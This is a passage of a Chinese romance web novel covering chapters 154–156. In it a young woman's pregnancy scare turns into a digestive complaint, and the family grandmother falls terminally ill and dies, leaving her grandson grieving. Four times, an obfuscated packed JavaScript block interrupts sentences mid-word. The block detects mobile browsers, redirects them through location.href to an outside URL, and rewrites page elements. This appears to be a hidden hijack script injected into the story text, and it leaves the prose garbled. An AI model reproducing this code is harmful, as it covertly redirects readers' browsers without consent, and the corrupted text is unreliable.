“出去吃烧烤吗?姐姐,我请客,你买单。”沈珠楹眼巴巴地盯着她看。 “不去,垃圾食品,不吃,我要保持身材。”她颇有芭蕾舞演员的自觉。 “真的不吃吗?就是我们家旁边的东北烧烤,红通通的小龙虾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15393758|166611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,牛肉粒,东北大油边……” 沈珠玉打断她。 “别说了,我们现在就出发。” 只要她吃得快,肥肉就追不上她。 一路开车到了烧烤店,两姐妹分工合作,动作熟练地开始点餐,老板娘一看见是她们,还送了她们两瓶可乐。 “好久没来了,珠珠,小玉。” “小玉什么时候回国的?” “回来有一段时间了。”沈珠玉看了一眼老板娘明显显怀的肚子,笑着问,“姐姐,几个月了?” “七个月了,这个小兔崽子,半夜一点都不安分,搞得我好几天都睡不好。” “怎么知道是男孩儿?”沈珠楹一脸好奇地问。 “从怀孕开始就爱吃酸的,酸儿辣女嘛。” 她又看了一眼沈珠楹,笑得一脸暧昧。 “珠珠,这回你那帅气老公没来?” 她实在没法儿不印象深刻,当时男人牵着沈珠楹的手走了进来,浑身掩不住的贵气,老板娘觉得自己的这家店瞬间就高端大气上档次了。 “他上班呢。”沈珠楹回。 “行。”老板娘又笑意盈盈地盯着沈珠楹看了一会儿,笑着感叹了句,“你俩的小孩儿得好看成什么样啊。” 都说看帅美女能提高小孩的颜值,她可得多看看。 沈珠楹那会儿嘴里咬了一块牛肉,慌忙摇了摇头。 不可以! 家里多了一只猫当电灯泡已经很够了! 等烧烤上来,姐妹俩开了瓶可乐,一边吃烧烤,一边不紧不慢地聊天。 点完一轮嫌不够,又点了一轮。 沈珠楹咬了一块五花肉进嘴里,正要跟沈珠玉再仔细聊聊婚礼邀请的名单,突然就从胃里涌上来一股反胃的感觉。 她脸色一变,转头去了洗手间,吐了个天昏地暗。 “怎么回事?”沈珠玉一脸担心地给她递纸,“不会吃坏肚子了吧?” 沈珠楹摇了摇脑袋,抬头要说话,恶心的感觉涌上来,转头又吐了。 沈珠玉盯着她看了会儿,突然感觉不对劲,咬着牙,问了句。 “沈珠楹,你这个月……月经来了没有?” “……” 沈珠楹蓦地抬头,眼底同样是不可思议。 坏了!!! 没来!!! 第154章 你要怎么办啊傅斯灼 但是…… 沈珠楹:“……不可能吧?” 虽然求婚以后的这大半个月,两个人过得荒唐无度,日夜颠倒,丝毫没有节制,但是每一次,是每一次,傅斯灼都戴了。 像是知道她脑子里在想什么,沈珠玉的脸色很难看。 她吼道:“戴了也有可能会造个孩子出来!” 又不是没有过先例。 “哦。”沈珠楹噤若寒蝉,不明白沈珠玉为什么这么生气,于是试探性地问,“那去药店买试纸……测一测?” 她心态还挺好的,如果每回戴了都能怀,那就说明是天意不可违抗。 这孩子还挺坚强的,要不以后就叫傅坚强吧…… 正认真思索着,沈珠玉又吼了一句。 “直接去医院!” 沈珠玉拉着她,气冲冲地往外走,想杀了傅斯灼的心都有了。 搞什么啊,她妹妹自己还是个孩子呢?这就造了个孩子出来了? 她不允许! 去医院挂了号,又做了初步的检查,医生拿着新鲜出炉的报告单,神色有点怪。 “医生,怎么样……怀孕了吗?”沈珠玉一看医生这表情,更紧张了。 靠,沈珠玉已经说服自己,怀了就算了,大不了她帮忙带,千万别还有其他问题。 “来之前吃的烧烤是吧?”医生问。 沈珠楹一脸紧张地点头。 “别紧张……”医生摆了摆手,说,“小事,小事,吃点药就好了。” “……吃药?”姐妹俩异口同声。 “对,吃药。”医生一本正经地道,“吃点健胃消食片。” “挂错科了啊姑娘们。”医生憋了半天,还是没憋住,两肩轻颤着,说,“吃坏肚子了应该要挂消化科。” “……” 出医院的时候,沈珠楹低着脑袋,走得很快。 “姐姐,我是不是说过,先买试纸测一下!” 现在好了,丢人丢到姥姥家了。 幸好没跟傅斯灼说,不然要丢**了。 正要出医院,沈珠楹又被沈珠玉拉住。 她此时心情颇好。 “走什么?还要挂消化科呢。” 沈珠楹转身要走:“我不挂。” 她要远离这个是非之地。 二十分钟后,挂完消化科,检查结果出来了。 竟然是因为沈珠楹平常吃得太健康了,猛地吃一顿重油重辣的,肠胃不适应。 沈珠玉盯着这份检查结果看了半天,乐得不行。 “行啊,看来傅斯灼把你养得不错,公主胃都养出来了。” “本来就很不错啊。”沈珠楹拉着沈珠玉往医院门口走,脸臊得不行,“快走吧!” 真的丢**了! 两个人顺着人潮往外走,沈珠楹不经意间侧眸扫了一眼,随即愣在原地。 是周清兰。 她背影佝偻而平静,正在等电梯。 沈珠楹赶忙跑过去,抓住她的手,问:“奶奶,你怎么又来医院了?” 周清兰看见是她,愣了一下,随即笑了,说:“奶奶啊,来看病弱小老头,珠珠怎么又来医院了?” 沈珠楹眨了下眼,说:“我……肠胃不舒服,过来做个检查。” “怎么突然肠胃不舒服?”周清兰一脸紧张地问。 “没,就是吃坏肚子了,已经开了药,现在好多了。” “肠胃不好要多补,只吃药怎么行,奶奶等一下让王姨给你熬点养胃的汤送去清风园。” “好。”沈珠楹笑了一下,说,“谢谢奶奶。” 出了医院,姐妹俩往停车场走。 沈珠楹垂眸一言不发,她想起周清兰最后顺着人群走入电梯中,步履蹒跚地,转头冲她笑,也离她越来越远。 她脸色蓦地苍白。 沈珠楹转头又往医院跑,只来得及留下一句。 “姐姐,我还有事,你先走吧!” 沈珠楹再次踏入医院,医院里的人换了一拨又一波,她找不到周清兰苍老又熟悉的身影。 她略显焦躁地拨通了周清兰的电话。 “奶奶。” 只喊了这两个字,沈珠楹眼眶便蓦地发红,落下两滴泪。 “您现在在哪儿?” “害,你这孩子,忘性怎么这么大?不是跟你说了,奶奶在看病弱小老头。”周清兰的声音很轻。 “我也想看,您带我过去看吧。” “老头有什么好看的。”周清兰说,“珠珠,你还这么年轻。”而我已经垂垂老矣。 “我想看。”沈珠楹的声音多了几分执着,“您让我看看吧。” 沉默良久,那头发出一声苍老的叹息。 周清兰说,珠珠,我们别在医院见面,去医院旁边的那个公园吧。 那里绿草如茵,有孩童在玩耍,是春天来了。 周清兰笑眯眯地盯着公园里玩耍的孩童。 “珠珠,我想你跟阿灼的孩子,一定会很漂亮,就像小天使一样,因为你们都像小天使啊,就这么飞到了我身边。” “会很漂亮的。”沈珠楹揪着她的袖子,略显不安地说,“您明年就可以看到了。” “再过几年,他就可以开口说话了,可以跟您一起在这里玩游戏,还可以喊您……” “珠珠。” 周清兰眼底滑过一抹遗憾,打断她说。 “我看不到了。” 安静片刻。 “您别这么说。”沈珠楹手脚发颤,整个人都很慌,“会看到的,现在医 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15400666|166611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 术这么发达,什么病都可以治好的,我们好好治,找最好的医生……” 她握着周清兰的手,眼底满是恳求,红着眼睛,说,“我们认真治,能治好的,一定能治好,对,先找医生,医生怎么说,是化疗,还是做手术,也许国外……” “珠珠。”周清兰看着她,“奶奶有在好好吃药,但是奶奶啊,年纪太大了。” 什么药能抵得过岁月这把刀。 “那怎么办……那怎么办?” 沈珠楹拼命摇头,完全听不进去了,她拿出手机,手哆嗦着,要给傅斯灼电话。 “对,找傅斯灼,他那么厉害,他能找来最好的医生,一定有办法的……” 周清兰轻轻攥住沈珠楹的手腕,叹口气说:“别告诉阿灼。” 周清兰这辈子其实已经活回本了,她不怕死,但是的确,她最怕傅斯灼知道。 “我们阿灼啊,他最重感情。” “我们阿灼啊……”周清兰小声呢喃着,说。 “我最放心不下。” —— 傅斯灼进门的时候,已经是深夜,家里难得没开灯,一片黑暗。 他仰着头,松了松领带,又抬手看了一眼手表。 晚上十一点。 珠珠在楼上睡觉。 他放轻脚步上楼,推开卧室门,一片黑暗,只朦朦胧胧看到床边鼓起一小块。 她大约蜷缩着身体,窝在最边上睡。 他绕到床头,半蹲在地毯上,想先看看她的脸,没成想,这次她把脑袋也蒙起来了。 傅斯灼抬手,正打算稍微把被子掀开,让她露出脑袋透透气,却又听到很小声的一句。 “傅斯灼。” 傅斯灼轻应了声,说:“在。” “你加班回来了吗?” “嗯。”傅斯灼问她,“还没睡吗?” “没有。”沈珠楹安静几秒,又问,“傅斯灼,今天开心吗?” “开心。”傅斯灼敏锐地察觉到了些什么,问,“那珠珠呢?今天开心吗?” 沈珠楹没回答,只问:“为什么开心呢?傅斯灼。” “宝宝。”傅斯灼安静了一会儿,语气很柔和。 他说宝宝,我想我们婚礼上的花会很漂亮。 傅斯灼拨开被子,看到了早已泪流满面的沈珠楹。 他替她擦去眼泪,拧眉道:“珠珠……” 下一秒,他被眼前的人抱住,她全身都在抖。 “傅斯灼……” “傅斯灼……” 他现在那么开心,那么期待…… 沈珠楹喊着他的名字,先是小声啜泣,最后抱着他,几乎是嚎啕大哭。 “傅斯灼……” “你要怎么办啊,傅斯灼……” 第155章 跑快一点,再快一点 周清兰这场病来得不算突然,甚至没有一个具体的病因。 如果一定要有一个原因的话,那就是老了。 这具身体垂垂老矣,承载了八十余载的记忆与情感,仍然厚重,体内的各项器官却逐渐走向衰老,再也运转不动了。 傅斯灼从医生那里拿到这份检查报告的时候,整个人都异常冷静。 他听完医生的一系列专业术语,终于开口问:“所以还有多久?” “短则一个月,多则半年。” “还有别的办法吗?可以……”傅斯灼开口,声音异常沙哑,“……再活久一点。” “有。”医生说,“只是这样,病人的最后一段时光,会过得非常痛苦。” “多久?”他问。 “通过特殊手段治疗的话,寿命能再多出一年到一年半时间。” 沉默良久,傅斯灼又问:“要怎么做?” 医生的语气公事公办:“最重要的是做好病人的思想工作,因为治疗一旦开始,会很痛苦,她也再不能离开病房一步。” 傅斯灼从医生办公室里出来,远远就听到病房里传来一老一小的欢笑声。 苍老的,年轻的,对比那么明显。 他走到病房前,隔着一层厚厚的玻璃,看沈珠楹笑着在给周清兰变魔术。 “奶奶,****,火要自己灭了。” “什么呦!奇奇怪怪的。”周清兰笑着,吹了一口气。 “当当当当!” 火焰吹灭,眨眼便化为一朵娇艳欲滴的玫瑰。 “好厉害啊珠珠!”周清兰十分给面子地鼓起掌来,眼角皱纹舒展开来,笑得像个孩子,“这朵玫瑰送给我啊?” “当然啦,玫瑰就是要配美人。” “什么美人啊,奶奶老咯。” “奶奶老了也是最漂亮的,奶奶最漂亮了。”沈珠楹赶忙反驳。 “嘴真甜,珠珠。”周清兰笑眯眯地。 傅斯灼安静又沉默地站在病房门口,如同千千万万次,他透过那扇厚厚的玻璃,望向陈婉君一样。 这次他看向周清兰。 窗外阳光洒下来,男人眼眶薄红,许久,他偏过头笑了,笑意悲怆又无奈。 他到底要怎样才能,自私地把这一幕留住。 久一点,再久一点。 傅斯灼走进病房时,沈珠楹也抬眼看向他,眼底满是担心与欲言又止。 男人走过来,摸了摸她的脑袋,低低说了句没事。 再然后他半蹲在病床前,仰头看向周清兰,喊她:“奶奶,” 周清兰也盯着他看,眼底溢满慈爱,像是怎么看也看不够,许久,她摸了摸他的脸,“欸——”了声。 傅斯灼沉默良久,最终红着眼眶说。 “我们回家,奶奶。” —— 接下来的日子按部就班,除了夫妻俩搬去了老宅住,陈婉君也不再同傅珩提起要离婚,一切似乎与往日没什么不同。 日子进入倒计时,似乎是在与谁奔跑竞争。 婚期也将近,沈珠楹心底却越来越焦虑。 太晚了。 太晚了。 周清兰的身体肉眼可见的,越来越差,她很怕她撑不到那一天。 于是在某天晚上,沈珠楹跟傅斯灼提出,想把婚礼提前一个半月。 “或者……”沈珠楹侧眸,在黑暗中看向他,眼眶里有泪,“我们生个孩子吧,傅斯灼。” “我现在觉得……早点有个孩子,也挺好的。” 傅斯灼也盯着她看,两个人安静又柔和地对视。 许久,傅斯灼把她搂入怀里,轻轻揉了揉她的脑袋,低声说:“我的傻珠珠。” “你觉得怎么样嘛,我们把婚期提前,再早点生个孩子。”她一脸坚持,继续问。 傅斯灼吻了吻她的发丝,最后说:“奶奶不会喜欢我们这么做。” 在傅斯灼很小的时候,周清兰教他生与死的道理,也告诉他每个人都是独立的个体,谁也不该为谁放慢或者加快脚步。 她总对他说,阿灼,你年轻走得快,就记得一直往前走,用你觉得最舒适的步伐,别为谁改变,切记切记,我不开心你为我放慢脚步。 黑暗中,沈珠楹察觉到傅斯灼说完这句话以后,心跳得很快,手也在发抖。 于是她抱紧他一些,说:“傅斯灼,你别害怕,无论什么结果,我都会陪你一起面对。” “珠珠——” 卧室里一片黑暗,傅斯灼最终闭眼,说,“你也别害怕。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15411502|166611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >—— 即便沈珠楹已经有了心理准备,她也没想到那一天会来得那么快,那么猝不及防,沈珠楹在前一天还跟周清兰撒着娇,问她喜欢玫瑰花还是郁金香。 周清兰说喜欢玫瑰花。 于是沈珠楹留了花店里最新鲜娇艳的玫瑰,打算在花店打烊以后送给她。 但是还没到打烊时间,她就接到了陈婉君打过来的电话。 她语气焦急。 “珠珠,快来市医院,妈妈她可能……她突然晕倒了,现在ICU。” 沈珠楹赶到ICU病房门口的时候,红灯还亮着,她整个人脑袋发晕,转头看了一圈,没看到傅斯灼,于是问陈婉君。 “妈,傅斯灼呢?您给他打电话了吗?” “打不通。”陈婉君捂着脸蹲在一旁,说,“怎么办啊?珠珠,阿灼的电话打不通。” 他参加重要地外交场合,电话一般都关机。 沈珠楹低头打了好几通电话,果不其然,都显示关机。 她望着ICU病房上方持续亮着的红灯,深吸一口气,最后强迫自己冷静下来,拨通了林特助的电话。 又打了好几通,终于接通。 “傅太太?”林特助疑惑的声音传来。 沈珠楹像是抓住了救星,对他说:“傅斯灼呢?你叫他接电话。” “傅司长现在正在出席一场重要的国际会议,恐怕……” 沈珠楹闭了闭眼,问:“还要多久?” “这个……”林特助的声音有几分为难。 “好。”沈珠楹什么都没再问,只说,“等傅斯灼国际会议结束,请你马上告诉他,奶奶现在正在ICU病房抢救,让他快过来。” 等沈珠楹挂了电话,再一抬头,红灯已经灭了,医生从ICU里出来,摇了摇头。 “还有一点时间,跟病人好好告个别吧。” 傅珩和陈婉君几乎是在下一秒就冲了进去,而沈珠楹腿一软,整个人跌倒在地,早已泪流满面。 那一天,京北市下了初春以来的第一场雨。 本应该是万物复苏与生长的季节。 而沈珠楹肩膀颤抖着,脑子里只剩下一个念头。 傅斯灼,拜托你—— 跑快一点,再快一点。 第 156章 找了个亲人 沈珠楹蹲在原地,缓了好一会儿,这才一步一步地走进去。 周清兰正在跟傅珩说话。 “傅珩,你这个人啊,是完完全全随你爸了,性格冷淡又强势,总是不会表达感情,你这种性格……也就婉君,她坚持了这么多年。” “妈,我错了妈,您看着我改,您看着我改……” 傅珩此时懊恼交加,他也是突然意识到,自从大儿子去世,妻子精神状态不好以后,他忽视了太多太多,或者说,一直以来,他对此都不屑一顾。 “晚了,晚了……”周老太太一声叹息,又看向陈婉君,“婉君,你想跟他离婚,那就离,奶奶支持你,你这些年……也不容易,只是苦了我们阿灼……” “妈,对不起,我对不起你……”陈婉君摇头,拉着周清兰的手,泣不成声。 “怎么会对不起呢?婉君,你独自一人培养出来的两个儿子,那么优秀,那么善良。” 在傅斯华去世之前,傅珩的心里除了工作,再装不下其他。 只有在傅斯华去世以后,才又多了一个陈婉君。 他是一个合格的管理者,但不是一个合格的儿子,不是一个合格的丈夫,更不是一个合格的父亲。 “阿珩啊阿珩,怎么总是慢半拍……”周清兰脸上浮现了一抹追忆之色,惆怅道,“怎么跟你爸一样,总是慢半拍……” 她远远看向站在不远处,早已泣不成声的沈珠楹,笑了,说:“笑起来漂亮的,爱穿裙子的,身上有花香的那个姑娘,别害怕,过来,再让奶奶看看你。” “奶奶……”沈珠楹乖巧擦掉眼泪,走到病床前,握住她的手,“奶奶……” “我的珠珠啊。”周清兰说,“这么好的姑娘,我给我们阿灼找到了。” “是啊,奶奶,您真厉害。”沈珠楹还是忍不住落泪,说,“我们再多说说话好不好,傅斯灼马上就要过来了,等他过来,我们一起去买漂亮的裙子,还是让傅斯灼买单,好不好?” “要等的。”周清兰说,“要等的,我们阿灼啊,总要有人等的。” 时间一分一秒地过去,周清兰很困了,只是沈珠楹一直在她耳边说话,像只焦急哭泣的小麻雀。 可是时间啊,它最不等人。 周清兰艰难开口道:“珠珠,等我死后,你们的婚礼……要如期举行,不要为我延期。” “那时我魂魄未散,假如有蝴蝶停在肩头,就是我来看你们了……” 假如人死前真的有走马观灯的话,周清兰其实很高兴自己最后能看到这些。 刚出生时小小的一个,被她抱在手心,看着一碰就能化的阿灼。 一岁时牙牙学语,第一次开口是喊奶奶的阿灼。 五岁时人还没有架子鼓高,却总是努力踮着脚去够的阿灼。 八岁时英语不及格,偷偷躲在浴室里哭的阿灼。 十六岁时在她生日那天,笑着给她弹《美丽女人》的阿灼。 于是周清兰迷蒙的视线中再次闯入一个沉稳又高大的背影,透着掩饰不住的慌乱与害怕。 是后来许多年的阿灼。 阿灼啊。 周清兰溢出一丝叹息。 奶奶总是会想,为什么会这样呢?好像没有人的成长比你更快。 “奶奶,我是阿灼……”傅斯灼半跪在病床前,全身都被大雨淋湿,他握着周清兰的手放到脸侧,蹭了蹭,说,“奶奶,您再睁开眼看看我,奶奶……” “阿灼啊……“周清兰于是努力睁开眼,满足地笑了,“奶奶说了,要等的……” 我们阿灼,要有人等的。 周清兰眼睛突然亮了许多,也有了些力气。 她拉着沈珠楹的手,又拉过傅斯灼的手,交叠在一起。 看两只手上的戒指闪闪发光,她满意地笑了。 “奶奶再也逛不动商场了。”周清兰说,“你们两个手牵着手,要一直一直往前走,别为我难过太久,知道吗?” 沈珠楹哭着点了点头。 “知道的,我知道的,奶奶。” 傅斯灼红着眼眶,将额头抵在周清兰苍老的掌心,轻声道:“我会的,奶奶。” “这样就好,这样就好……” 周清兰缓缓闭上了眼睛,眼角一滴清泪滑落。 “老头子,阿华,我过来看你们了,你们放心,我给我们阿灼,又找了一个亲人。” 她最后仍然满足呢喃,重复道。 “我给我们阿灼,又找了一个亲人……” 嘀———— 刺耳的一声响,心电图骤停。 然而窗外瓢泼大雨,电闪雷鸣,仍然未停。 这场春雨久旱逢甘霖,滋养了这片土地上千千万万 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15477343|166611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人们,来日春暖花开,姹紫嫣红,又是好天气。 但是有人被困在了十八岁那年的夕阳下,也被困在了二十七岁那年的大雨里。 沈珠楹知道。 沈珠楹亲眼见证—— 二零二五年三月七日十六时二十四分,大雨。 她最爱的少年,缺失了他人生中的第四块拼图。 周清兰的葬礼遵照她的遗嘱,办得很简单,只有她生前的三五好友过来吊唁。 傅珩受到的打击似乎要比傅斯灼大得多,他把自己关起来,几乎闭门不出。 傅斯灼仍然神色平淡,有条不紊地操持着这一切。 葬礼结束后,一切仿佛恢复了正常。 傅斯灼看上去也很正常。 但是沈珠楹有点害怕这种正常。 那天他送完过来吊唁的最后一批人,天已经黑了。 沈珠楹进去给他倒了一杯水,再出来的时候,傅斯灼倚坐在不远处的长亭内,黑衣黑裤,白绫飘荡,沉默地望着远处的地平线。 太阳洒下最后一缕余晖。 沈珠楹鼻子一酸,又落下泪来。 “傅斯灼。”沈珠楹想也没想,跑过去抱住他,带着哭腔,说,“傅斯灼,你想哭就哭出来啊。” “你要哭出来啊,傅斯灼。” “珠珠。”傅斯灼长臂收紧,充满依恋地紧紧抱着她,摇了摇头,说,“我哭不出来,真的。” “那傅斯灼……你要怎么办啊傅斯灼?” 沈珠楹只跟周清兰相处不到一年,现在都觉得自己心脏被紧紧揪着,很疼很疼。 那你要怎么办啊,傅斯灼? 她语气急得不行。 “别为我担心,珠珠。”傅斯灼轻揉她的后颈,语气缓慢又温柔,“你知道吗?奶奶曾经对我说,每个人都会死亡三次,只是死亡时间到来的长或短而已,我唯一要学会的,是接受。” “那你学会了吗?傅斯灼。” 如果真的学会了,那么学费,是不是太过昂贵了。 傅斯灼沉默良久,摇了摇头,说:“没有。” 是他太愚钝了。 “沈珠楹。”他闭眼,脑袋搭在她的肩颈,声音低得不能再低了。 “没有,沈珠楹。” 你说,人到底要面对多少次死亡,才能在它面前保持体面。